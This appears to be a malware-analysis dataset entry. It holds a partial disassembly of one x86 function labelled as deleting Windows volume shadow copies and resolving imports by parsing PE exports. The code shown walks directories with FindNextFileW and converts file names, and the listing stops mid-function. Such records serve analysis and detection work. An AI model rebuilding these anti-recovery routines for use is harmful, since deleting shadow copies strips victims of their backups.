Function at 0x516610
Capabilities:
Delete volume shadow copies
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc18
mov eax, dword [ecx + 8]
mov edx, dword [0x6d6b64]
test eax, eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
je 0x517460
mov ecx, dword [ecx]
lea eax, [eax + eax*2]
lea edi, [esp + 0x138]
lea eax, [ecx + eax*4]
mov dword [esp + 0x128], eax
mov eax, ecx
jmp 0x516691
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x12c]
add eax, 0xc
cmp eax, dword [esp + 0x128]
je 0x51744e
mov edx, dword [eax]
mov ecx, edi
mov dword [esp + 0x12c], eax
push dword [eax + 8]
call fcn.005eee00
add esp, 4
mov eax, dword [esp + 0x13c]
cmp dword [esp + 0x138], 1
mov ebx, dword [esp + 0x140]
jne 0x5166f0
cmp al, 3
jne 0x51667a
mov eax, dword [ebx + 4]
push dword [ebx]
call dword [eax]
add esp, 4
mov ecx, dword [ebx + 4]
cmp dword [ecx + 4], 0
je 0x51666c
mov eax, dword [ebx]
cmp dword [ecx + 8], 9
jb 0x51665e
mov eax, dword [eax - 4]
jmp 0x51665e
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x148]
mov esi, dword [esp + 0x144]
mov dword [esp + 0x130], eax
lea eax, [esp + 0x14c]
movsd xmm1, qword [eax + 8]
movsd xmm0, qword [eax]
movsd xmm2, qword [eax + 0x18]
movsd qword [esp + 0xb8], xmm1
movsd xmm1, qword [eax + 0x10]
movsd qword [esp + 0xb0], xmm0
movsd qword [esp + 0xc8], xmm2
movsd qword [esp + 0xc0], xmm1
movsd xmm1, qword [eax + 0x20]
movzx eax, word [esp + 0x174]
mov word [esp + 0x9c], ax
movzx eax, word [esp + 0x176]
movsd qword [esp + 0xd0], xmm1
mov word [esp + 0x64], ax
movzx eax, word [esp + 0x178]
mov word [esp + 0x6e], ax
push 0x21e
lea eax, [esp + 0x17e]
push eax
lea eax, [esp + 0x7e0]
mov dword [esp + 0x20], ebx
mov ebx, eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm1, qword [esp + 0xb8]
movsd xmm0, qword [esp + 0xb0]
movsd xmm2, qword [esp + 0xc8]
movsd qword [esp + 0xe0], xmm1
movsd xmm1, qword [esp + 0xc0]
movsd qword [esp + 0xd8], xmm0
movsd qword [esp + 0xf0], xmm2
movsd qword [esp + 0xe8], xmm1
movsd xmm1, qword [esp + 0xd0]
movsd qword [esp + 0xf8], xmm1
push 0x21e
push ebx
mov ebx, dword [esp + 0x20]
lea eax, [esp + 0x5c2]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x51682d
mov ebx, dword [esp + 0x18]
lea edi, [esp + 0x138]
xor esi, esi
cmp esi, 1
jne 0x516930
cmp word [esp + 0x9c], 0x2e
jne 0x516870
cmp word [esp + 0x64], 0
je 0x516930
cmp word [esp + 0x64], 0x2e
jne 0x516870
cmp word [esp + 0x6e], 0
je 0x516930
nop word cs:[eax + eax]
nop dword [eax + eax]
lock inc dword [ebx]
jle 0x518071
test ebx, ebx
je 0x516930
movsd xmm2, qword [esp + 0xf0]
movsd xmm1, qword [esp + 0xe8]
movsd xmm0, qword [esp + 0xf8]
movsd qword [esp + 0x88], xmm2
movsd qword [esp + 0x80], xmm1
movsd xmm2, qword [esp + 0xd8]
movsd xmm1, qword [esp + 0xe0]
movsd qword [esp + 0x90], xmm0
movsd qword [esp + 0x78], xmm1
movsd qword [esp + 0x70], xmm2
push 0x21e
lea eax, [esp + 0x5be]
push eax
lea eax, [esp + 0x3a0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx ecx, word [esp + 0x64]
movzx eax, word [esp + 0x6e]
movzx edx, word [esp + 0x9c]
xor esi, esi
mov word [esp + 0x10], cx
mov ecx, dword [esp + 0x130]
mov word [esp + 0x28], ax
mov word [esp + 0xa], dx
mov dword [esp + 4], ecx
jmp 0x516abe
push 0x250
push 0
push edi
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
push dword [esp + 0x34]
call sub.KERNEL32.dll_FindNextFileW
test eax, eax
je 0x516a90
test ebx, ebx
jne 0x5169c2
jmp 0x51697f
lock inc dword [0]
jle 0x518071
push edi
push dword [esp + 0x34]
call sub.KERNEL32.dll_FindNextFileW
test eax, eax
je 0x516a90
cmp word [esp + 0x164], 0x2e
jne 0x516960
movzx eax, word [esp + 0x166]
test ax, ax
je 0x51696d
cmp ax, 0x2e
jne 0x516960
cmp word [esp + 0x168], 0
jne 0x516960
jmp 0x51696d
push edi
push dword [esp + 0x34]
call sub.KERNEL32.dll_FindNextFileW
test eax, eax
je 0x516a90
cmp word [esp + 0x164], 0x2e
jne 0x5169eb
movzx eax, word [esp + 0x166]
test ax, ax
je 0x5169b0
cmp ax, 0x2e
jne 0x5169eb
cmp word [esp + 0x168], 0
je 0x5169b0
lock inc dword [ebx]
jle 0x518071
mov eax, dword [esp + 0x138]
mov dword [esp + 4], eax
lea eax, [esp + 0x14c]
movsd xmm1, qword [eax - 8]
movsd xmm0, qword [eax - 0x10]
movsd xmm2, qword [eax + 8]
movsd qword [esp + 0x78], xmm1
movsd xmm1, qword [eax]
movsd qword [esp + 0x70], xmm0
movsd qword [esp + 0x88], xmm2
movsd qword [esp + 0x80], xmm1
movsd xmm1, qword [eax + 0x10]
movzx eax, word [esp + 0x164]
mov word [esp + 0xa], ax
movzx eax, word [esp + 0x166]
movsd qword [esp + 0x90], xmm1
mov word [esp + 0x10], ax
movzx eax, word [esp + 0x168]
mov word [esp + 0x28], ax
push 0x21e
lea eax, [esp + 0x16e]
push eax
lea eax, [esp + 0x3a0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
xor edi, edi
jmp 0x516aae
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x12
je 0x517430
mov edi, 1
xor ebx, ebx
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
test edi, edi
lea edi, [esp + 0x138]
setne al
mov esi, eax
jne 0x516b37
movsd xmm2, qword [esp + 0x88]
movsd xmm1, qword [esp + 0x80]
movsd xmm0, qword [esp + 0x90]
movsd qword [esp + 0x50], xmm2
movsd qword [esp + 0x48], xmm1
movsd xmm2, qword [esp + 0x70]
movsd xmm1, qword [esp + 0x78]
movsd qword [esp + 0x58], xmm0
movsd qword [esp + 0x40], xmm1
movsd qword [esp + 0x38], xmm2
push 0x21e
lea eax, [esp + 0x39c]
push eax
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, word [esp + 0xa]
movzx edx, word [esp + 0x10]
movzx ecx, word [esp + 0x28]
mov word [esp + 0x16], ax
mov word [esp + 0x14], dx
mov word [esp + 0x12], cx
movsd xmm2, qword [esp + 0x50]
movsd xmm1, qword [esp + 0x48]
movsd xmm0, qword [esp + 0x58]
movsd qword [esp + 0x118], xmm2
movsd qword [esp + 0x110], xmm1
movsd xmm2, qword [esp + 0x38]
movsd xmm1, qword [esp + 0x40]
movsd qword [esp + 0x120], xmm0
movsd qword [esp + 0x108], xmm1
movsd qword [esp + 0x100], xmm2
push 0x21e
push edi
lea edi, [esp + 0x9fe]
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, esi
test al, al
je 0x516c00
mov esi, dword [esp + 4]
cmp bl, 3
jne 0x516820
mov eax, dword [esi + 4]
push dword [esi]
call dword [eax]
add esp, 4
mov ecx, dword [esi + 4]
mov ebx, dword [esp + 0x18]
lea edi, [esp + 0x138]
cmp dword [ecx + 4], 0
je 0x516be2
mov eax, dword [esi]
cmp dword [ecx + 8], 9
jb 0x516bd4
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x517420
mov eax, ebx
mov byte [esp + 0x138], bl
movsd xmm2, qword [esp + 0x110]
shr ebx, 0x18
movsd xmm0, qword [esp + 0x100]
movsd xmm1, qword [esp + 0x108]
movsd xmm3, qword [esp + 0x118]
movzx esi, word [esp + 0x16]
shr eax, 8
mov byte [esp + 0x13b], bl
mov word [esp + 0x139], ax
mov eax, dword [esp + 4]
mov dword [esp + 0x13c], eax
lea eax, [esp + 0x14c]
movsd qword [eax + 4], xmm2
movsd xmm2, qword [esp + 0x120]
movsd qword [eax - 4], xmm1
movsd qword [eax + 0xc], xmm3
movsd qword [eax - 0xc], xmm0
movsd qword [eax + 0x14], xmm2
movzx eax, word [esp + 0x14]
mov word [esp + 0x168], si
mov word [esp + 0x16a], ax
movzx eax, word [esp + 0x12]
mov word [esp + 0x16c], ax
push 0x21e
push edi
lea eax, [esp + 0x176]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x138]
mov edx, esi
lea esi, [esp + 0x138]
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0x10]
mov dword [esp + 0xac], ecx
mov dword [esp + 0x2c], eax
mov ecx, 0xfc
xor eax, eax
test dx, dx
je 0x516d45
cmp word [esp + eax + 0x16a], 0
je 0x516d4e
cmp word [esp + eax + 0x16c], 0
je 0x516d54
cmp word [esp + eax + 0x16e], 0
je 0x516d5a
cmp word [esp + eax + 0x170], 0
je 0x516d60
cmp word [esp + eax + 0x172], 0
je 0x516d66
cmp word [esp + eax + 0x174], 0
je 0x516d6c
cmp word [esp + eax + 0x176], 0
je 0x516d72
cmp ecx, 8
jb 0x516d78
movzx edx, word [esp + eax + 0x178]
add ecx, 0xfffffff8
add eax, 0x10
test dx, dx
jne 0x516ce0
lea eax, [esi + eax + 0x30]
jmp 0x516dd0
lea eax, [esi + eax + 0x32]
jmp 0x516dd0
lea eax, [esi + eax + 0x34]
jmp 0x516dd0
lea eax, [esi + eax + 0x36]
jmp 0x516dd0
lea eax, [esi + eax + 0x38]
jmp 0x516dd0
lea eax, [esi + eax + 0x3a]
jmp 0x516dd0
lea eax, [esi + eax + 0x3c]
jmp 0x516dd0
lea eax, [esi + eax + 0x3e]
jmp 0x516dd0
cmp word [esp + 0x368], 0
lea eax, [esp + 0x368]
je 0x516dd0
cmp word [esp + 0x36a], 0
lea eax, [esp + 0x36a]
je 0x516dd0
cmp word [esp + 0x36c], 0
lea eax, [esp + 0x36c]
je 0x516dd0
cmp word [esp + 0x36e], 0
mov ebx, 0x104
lea eax, [esp + 0x36e]
jne 0x516de8
nop word cs:[eax + eax]
nop
lea ecx, [esp + 0x168]
sub eax, ecx
mov ebx, eax
shr ebx, 1
cmp eax, 0x20a
jae 0x518079
test ebx, ebx
je 0x516e19
mov eax, dword [0x6f1130]
test eax, eax
jne 0x516e07
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x518075
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x516e1e
jmp 0x518075
mov eax, 1
lea edi, [esp + ebx*2 + 0x168]
lea edx, [esp + 0x168]
xor esi, esi
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 0x40], 0
mov dword [esp + 4], 0
mov dword [esp + 0xa0], edi
test si, si
jne 0x516eb4
jmp 0x516ee0
mov byte [esp + 0x398], al
mov edi, 1
mov eax, dword [esp + 0x3c]
mov ebx, dword [esp + 4]
mov esi, edx
sub eax, ebx
cmp eax, edi
jb 0x516ebb
mov eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
add eax, ebx
push edi
lea ecx, [esp + 0x39c]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
add ebx, edi
mov edx, esi
mov edi, dword [esp + 0xa0]
mov esi, dword [esp + 0x34]
mov dword [esp + 4], ebx
mov dword [esp + 0x40], ebx
test si, si
je 0x516ee0
mov ecx, esi
shr ecx, 0x10
jmp 0x516eee
lea ecx, [esp + 0x38]
mov edx, ebx
push edi
call fcn.005c1170
add esp, 4
mov eax, dword [esp + 0x38]
mov ebx, dword [esp + 0x40]
jmp 0x516e80
cmp edx, edi
je 0x5171c0
movzx ecx, word [edx]
add edx, 2
mov eax, ecx
and esi, 0xffff0000
and eax, 0xf800
cmp eax, 0xd800
jne 0x516f60
movzx eax, cx
cmp eax, 0xdbff
ja 0x516f80
cmp edx, edi
je 0x516f70
movzx eax, word [edx]
add edx, 2
mov ebx, esi
mov esi, edx
mov edx, eax
and edx, 0xfc00
cmp edx, 0xdc00
jne 0x516f74
add ecx, 0x2800
add eax, 0x2400
mov edx, esi
mov esi, ebx
movzx ecx, cx
movzx eax, ax
shl ecx, 0xa
or eax, ecx
xor ecx, ecx
add eax, 0x10000
cmp cx, 2
jne 0x516f92
jmp 0x5171c0
movzx eax, cx
xor ecx, ecx
cmp cx, 2
jne 0x516f92
jmp 0x5171c0
mov edx, edi
jmp 0x516f80
shl eax, 0x10
mov edx, esi
or eax, 1
mov esi, eax
nop
shl ecx, 0x10
xor eax, eax
or ecx, 1
cmp cx, 2
je 0x5171c0
test cx, cx
jne 0x517064
cmp eax, 0x80
mov dword [esp + 0x398], 0
mov dword [esp + 0x34], esi
jb 0x516e60
mov ecx, eax
cmp eax, 0x800
jae 0x516fe0
shr ecx, 6
and al, 0x3f
mov edi, 2
or cl, 0xc0
or al, 0x80
mov byte [esp + 0x398], cl
mov byte [esp + 0x399], al
jmp 0x516e6c
cmp eax, 0x10000
jae 0x51701b
shr ecx, 0xc
mov edi, 3
or cl, 0xe0
mov byte [esp + 0x398], cl
mov ecx, eax
and al, 0x3f
shr ecx, 6
or al, 0x80
and cl, 0x3f
or cl, 0x80
mov byte [esp + 0x399], cl
mov byte [esp + 0x39a], al
jmp 0x516e6c
shr ecx, 0x12
mov edi, 4
and cl, 7
or cl, 0xf0
mov byte [esp + 0x398], cl
mov ecx, eax
shr ecx, 0xc
and cl, 0x3f
or cl, 0x80
mov byte [esp + 0x399], cl
mov ecx, eax
and al, 0x3f
shr ecx, 6
or al, 0x80
and cl, 0x3f
or cl, 0x80
mov byte [esp + 0x39a], cl
mov byte [esp + 0x39b], al
jmp 0x516e6c
shld eax, ecx, 0x10
mov dword [esp + 0x68], edx
mov dword [esp + 0x70], 0
movzx edx, ax
cmp edx, 0x80
jae 0x51708a
mov byte [esp + 0x70], al
mov ebx, 1
jmp 0x5170cf
cmp edx, 0x800
jae 0x5170ab
shr ecx, 0x16
and al, 0x3f
mov ebx, 2
or cl, 0xc0
or al, 0x80
mov byte [esp + 0x70], cl
mov byte [esp + 0x71], al
jmp 0x5170cf
shr ecx, 0x16
shr edx, 0xc
and al, 0x3f
mov ebx, 3
and cl, 0x3f
or dl, 0xe0
or al, 0x80
or cl, 0x80
mov byte [esp + 0x70], dl
mov byte [esp + 0x71], cl
mov byte [esp + 0x72], al
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 4]
mov ecx, eax
sub ecx, edx
cmp ecx, ebx
jae 0x51717c
mov ecx, edx
add ecx, ebx
jb 0x5180b2
lea edx, [eax + eax]
mov dword [esp + 0x134], ebx
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0xa8]
mov dword [esp + 0xa4], ecx
cmp edx, ecx
cmovbe edx, ecx
mov ecx, 8
cmp edx, 9
cmovb edx, ecx
test eax, eax
lea ecx, [esp + 0x398]
cmove ebx, eax
cmovne edi, eax
push 1
mov dword [esp + 0xac], edi
push edi
push ebx
push 1
call fcn.005c11f0
add esp, 0x10
cmp dword [esp + 0x398], 1
je 0x5180a7
mov ecx, dword [esp + 0x39c]
mov eax, dword [esp + 0x3a0]
mov edi, dword [esp + 0xa0]
mov edx, dword [esp + 4]
mov ebx, dword [esp + 0xa4]
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x134]
jmp 0x517184
mov ecx, dword [esp + 0xc]
mov eax, ebx
add ebx, edx
add edx, ecx
mov dword [esp + 0xc], ecx
push eax
lea eax, [esp + 0x74]
push eax
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x68]
mov dword [esp + 0x40], ebx
mov dword [esp + 4], ebx
test si, si
jne 0x516eb4
jmp 0x516ee0
cmp dword [esp + 0x2c], 0
js 0x5180b2
mov esi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
je 0x517205
mov eax, dword [0x6f1130]
test eax, eax
jne 0x5171f0
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x51808f
mov dword [0x6f1130], eax
push dword [esp + 0x2c]
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x51720a
jmp 0x51808f
mov eax, 1
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x398], eax
mov dword [esp + 0x39c], edi
mov dword [esp + 0x3a0], 0
push edi
push dword [esp + 0xb0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [esp + 0x398]
mov dword [esp + 0x40], edi
lea ecx, [esp + 0x38]
mov edx, esi
movsd qword [esp + 0x38], xmm0
push dword [esp + 4]
call fcn.005e0800
add esp, 4
test ebx, ebx
je 0x51726f
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea eax, [esp + 0x38]
push eax
call fcn.005e0110
add esp, 4
mov esi, edx
lea ecx, [esp + 0x398]
mov edx, eax
push esi
call fcn.005ed1f0
add esp, 4
mov edi, dword [esp + 0x398]
xor eax, eax
cmp edi, 1
sete al
mov esi, dword [esp + eax*4 + 0x3a0]
test esi, esi
js 0x5180b2
mov eax, dword [esp + 0x39c]
je 0x5172f6
mov dword [esp + 4], eax
mov eax, dword [0x6f1130]
test eax, eax
jne 0x5172d6
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x518095
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x518095
mov ebx, eax
mov edi, dword [esp + 0x398]
mov eax, dword [esp + 4]
jmp 0x5172fb
mov ebx, 1
push esi
push eax
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
test edi, edi
je 0x517328
cmp dword [esp + 0x3a0], 0
je 0x517328
push dword [esp + 0x39c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x3c], 0
je 0x517340
push dword [esp + 0x38]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea ecx, [esp + 0x70]
mov dword [esp + 4], ebx
mov edx, ebx
push esi
call fcn.0040a930
add esp, 4
mov edi, dword [esp + 0x70]
lea ebx, [esp + 0x398]
mov ecx, ebx
mov edx, edi
push 7
push 0x684920
push dword [esp + 0x80]
call fcn.0045fa60
add esp, 0xc
lea ecx, [esp + 0x38]
mov edx, ebx
call fcn.00516470
mov ebx, dword [esp + 0x38]
cmp dword [esp + 0x74], 0
je 0x51739c
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp ebx, 1
jne 0x5173e0
mov edx, dword [esp + 0x24]
lea edi, [esp + 0x138]
cmp edx, dword [esp + 0x20]
jne 0x5173bf
lea ecx, [esp + 0x1c]
call fcn.0047de40
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 4]
lea ecx, [edx + edx*2]
inc edx
mov dword [eax + ecx*4], ebx
mov ebx, dword [esp + 0x18]
mov dword [eax + ecx*4 + 4], esi
mov dword [eax + ecx*4 + 8], esi
mov dword [esp + 0x24], edx
jmp 0x517400
mov ebx, dword [esp + 0x18]
test esi, esi
lea edi, [esp + 0x138]
je 0x517400
push dword [esp + 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x138]
lock dec dword [eax]
jne 0x517420
mov ecx, dword [esp + 0x138]
call fcn.00513620
xor esi, esi
jmp 0x51682d
xor esi, esi
jmp 0x51682d
push dword [esp + 0x30]
call sub.KERNEL32.dll_FindClose
lock dec dword [ebx]
jne 0x51667a
mov ecx, ebx
call fcn.00513620
jmp 0x51667a
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x24]
jmp 0x51746a
xor eax, eax
mov dword [esp + 0x68], 0
lea ecx, [eax + eax*2]
test eax, eax
mov esi, edx
mov dword [esp + 0xa4], edx
lea ecx, [edx + ecx*4]
je 0x517ffd
mov eax, edx
lea esi, [esp + 0x138]
mov dword [esp + 0x64], ecx
jmp 0x5174bf
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0x9c]
cmp eax, ecx
je 0x517ffb
mov edi, dword [eax]
lea edx, [eax + 0xc]
test edi, edi
je 0x517ffd
mov ebx, dword [eax + 4]
mov dword [esp + 0x9c], edx
mov ecx, esi
mov edx, edi
push dword [eax + 8]
call fcn.005eee00
add esp, 4
mov esi, dword [esp + 0x138]
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x140]
cmp esi, 1
mov dword [esp + 0x28], eax
mov dword [esp + 0x34], ecx
je 0x5175b7
mov eax, dword [esp + 0x144]
mov dword [esp + 0xa8], eax
mov eax, dword [esp + 0x148]
mov dword [esp + 0xac], eax
lea eax, [esp + 0x14c]
movsd xmm1, qword [eax + 8]
movsd xmm0, qword [eax]
movsd xmm2, qword [eax + 0x18]
movsd qword [esp + 0xb8], xmm1
movsd xmm1, qword [eax + 0x10]
movsd qword [esp + 0xb0], xmm0
movsd qword [esp + 0xc8], xmm2
movsd qword [esp + 0xc0], xmm1
movsd xmm1, qword [eax + 0x20]
movzx eax, word [esp + 0x174]
mov word [esp + 0x10], ax
movzx eax, word [esp + 0x176]
movsd qword [esp + 0xd0], xmm1
mov word [esp + 0xa], ax
movzx eax, word [esp + 0x178]
mov word [esp + 0x18], ax
push 0x21e
lea eax, [esp + 0x17e]
push eax
lea eax, [esp + 0x7e0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
test ebx, ebx
je 0x5175c9
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edi, dword [esp + 0x34]
mov ebx, dword [esp + 0x28]
test esi, esi
je 0x517610
cmp bl, 3
lea esi, [esp + 0x138]
jne 0x5174ac
mov eax, dword [edi + 4]
push dword [edi]
call dword [eax]
add esp, 4
mov ecx, dword [edi + 4]
cmp dword [ecx + 4], 0
je 0x51749e
mov eax, dword [edi]
cmp dword [ecx + 8], 9
jb 0x517490
mov eax, dword [eax - 4]
jmp 0x517490
movsd xmm1, qword [esp + 0xb8]
movsd xmm0, qword [esp + 0xb0]
movsd xmm2, qword [esp + 0xc8]
movsd qword [esp + 0xe0], xmm1
movsd xmm1, qword [esp + 0xc0]
movsd qword [esp + 0xd8], xmm0
movsd qword [esp + 0xf0], xmm2
movsd qword [esp + 0xe8], xmm1
movsd xmm1, qword [esp + 0xd0]
movsd qword [esp + 0xf8], xmm1
push 0x21e
lea eax, [esp + 0x7dc]
push eax
lea eax, [esp + 0x5c2]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xa8]
lea esi, [esp + 0x138]
cmp eax, 1
jne 0x517840
jmp 0x5176cf
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edi, dword [esp + 0xc]
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edi, dword [esp + 0x34]
xor eax, eax
cmp eax, 1
jne 0x517840
cmp word [esp + 0x10], 0x2e
jne 0x517700
cmp word [esp + 0xa], 0
je 0x517840
cmp word [esp + 0xa], 0x2e
jne 0x517700
cmp word [esp + 0x18], 0
je 0x517840
nop word [eax + eax]
lock inc dword [edi]
jle 0x518071
test edi, edi
je 0x517840
movsd xmm2, qword [esp + 0xf0]
movsd xmm1, qword [esp + 0xe8]
movsd xmm0, qword [esp + 0xf8]
movsd qword [esp + 0x88], xmm2
movsd qword [esp + 0x80], xmm1
movsd xmm2, qword [esp + 0xd8]
movsd xmm1, qword [esp + 0xe0]
movsd qword [esp + 0x90], xmm0
movsd qword [esp + 0x78], xmm1
movsd qword [esp + 0x70], xmm2
push 0x21e
lea eax, [esp + 0x5be]
push eax
lea eax, [esp + 0x3a0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx ecx, word [esp + 0xa]
movzx eax, word [esp + 0x10]
movzx edx, word [esp + 0x18]
mov ebx, edi
mov dword [esp + 4], 0
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0xac]
mov word [esp + 0x16], ax
mov word [esp + 0x12], dx
mov dword [esp + 0xc], ecx
movsd xmm2, qword [esp + 0x88]
movsd xmm1, qword [esp + 0x80]
movsd xmm0, qword [esp + 0x90]
movsd qword [esp + 0x50], xmm2
movsd qword [esp + 0x48], xmm1
movsd xmm2, qword [esp + 0x70]
movsd xmm1, qword [esp + 0x78]
movsd qword [esp + 0x58], xmm0
movsd qword [esp + 0x40], xmm1
movsd qword [esp + 0x38], xmm2
push 0x21e
lea eax, [esp + 0x39c]
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, word [esp + 0x16]
movzx edx, word [esp + 0x14]
movzx ecx, word [esp + 0x12]
mov word [esp + 0xa0], ax
mov word [esp + 0x30], dx
mov word [esp + 0x2c], cx
jmp 0x5179d4
push 0x250
push 0
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
push ebx
call sub.KERNEL32.dll_FindNextFileW
test eax, eax
je 0x5179a0
test edi, edi
jne 0x5178cf
jmp 0x51788c
lock inc dword [0]
jle 0x518071
push esi
push ebx
call sub.KERNEL32.dll_FindNextFileW
test eax, eax
je 0x5179a0
cmp word [esp + 0x164], 0x2e
jne 0x517870
movzx eax, word [esp + 0x166]
test ax, ax
je 0x51787d
cmp ax, 0x2e
jne 0x517870
cmp word [esp + 0x168], 0
jne 0x517870
jmp 0x51787d
push esi
push ebx
call sub.KERNEL32.dll_FindNextFileW
test eax, eax
je 0x5179a0
cmp word [esp + 0x164], 0x2e
jne 0x5178f8
movzx eax, word [esp + 0x166]
test ax, ax
je 0x5178c0
cmp ax, 0x2e
jne 0x5178f8
cmp word [esp + 0x168], 0
je 0x5178c0
lock inc dword [edi]
jle 0x518071
mov eax, dword [esp + 0x138]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x14c]
movsd xmm1, qword [eax - 8]
movsd xmm0, qword [eax - 0x10]
movsd xmm2, qword [eax + 8]
movsd qword [esp + 0x78], xmm1
movsd xmm1, qword [eax]
movsd qword [esp + 0x70], xmm0
movsd qword [esp + 0x88], xmm2
movsd qword [esp + 0x80], xmm1
movsd xmm1, qword [eax + 0x10]
movzx eax, word [esp + 0x164]
mov word [esp + 0x16], ax
movzx eax, word [esp + 0x166]
movsd qword [esp + 0x90], xmm1
mov word [esp + 0x14], ax
movzx eax, word [esp + 0x168]
mov word [esp + 0x12], ax
push 0x21e
lea eax, [esp + 0x16e]
push eax
lea eax, [esp + 0x3a0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
xor esi, esi
mov ebx, edi
jmp 0x5179be
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x12
je 0x517fe0
xor ebx, ebx
mov esi, 1
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 0xc], eax
test esi, esi
lea esi, [esp + 0x138]
setne al
mov dword [esp + 4], eax
je 0x5177b5
movsd xmm2, qword [esp + 0x50]
movsd xmm1, qword [esp + 0x48]
movsd xmm0, qword [esp + 0x58]
movsd qword [esp + 0x118], xmm2
movsd qword [esp + 0x110], xmm1
movsd xmm2, qword [esp + 0x38]
movsd xmm1, qword [esp + 0x40]
movsd qword [esp + 0x120], xmm0
movsd qword [esp + 0x108], xmm1
movsd qword [esp + 0x100], xmm2
push 0x21e
push esi
lea edi, [esp + 0x9fe]
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp byte [esp + 4], 0
je 0x517a80
cmp bl, 3
mov edi, dword [esp + 0x34]
mov ebx, dword [esp + 0x28]
jne 0x5176c4
mov edi, dword [esp + 0xc]
mov eax, dword [edi + 4]
push dword [edi]
call dword [eax]
add esp, 4
mov ecx, dword [edi + 4]
cmp dword [ecx + 4], 0
je 0x5176b2
mov eax, dword [edi]
cmp dword [ecx + 8], 9
jb 0x5176a0
mov eax, dword [eax - 4]
jmp 0x5176a0
mov eax, ebx
mov byte [esp + 0x138], bl
movsd xmm2, qword [esp + 0x110]
shr ebx, 0x18
movsd xmm0, qword [esp + 0x100]
movsd xmm1, qword [esp + 0x108]
movsd xmm3, qword [esp + 0x118]
shr eax, 8
mov byte [esp + 0x13b], bl
mov word [esp + 0x139], ax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x13c], eax
lea eax, [esp + 0x14c]
movsd qword [eax + 4], xmm2
movsd xmm2, qword [esp + 0x120]
movsd qword [eax - 4], xmm1
movsd qword [eax + 0xc], xmm3
movsd qword [eax - 0xc], xmm0
movsd qword [eax + 0x14], xmm2
movzx eax, word [esp + 0xa0]
mov word [esp + 0x168], ax
movzx eax, word [esp + 0x30]
mov word [esp + 0x16a], ax
movzx eax, word [esp + 0x2c]
mov word [esp + 0x16c], ax
push 0x21e
push edi
lea eax, [esp + 0x176]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x138]
mov edx, esi
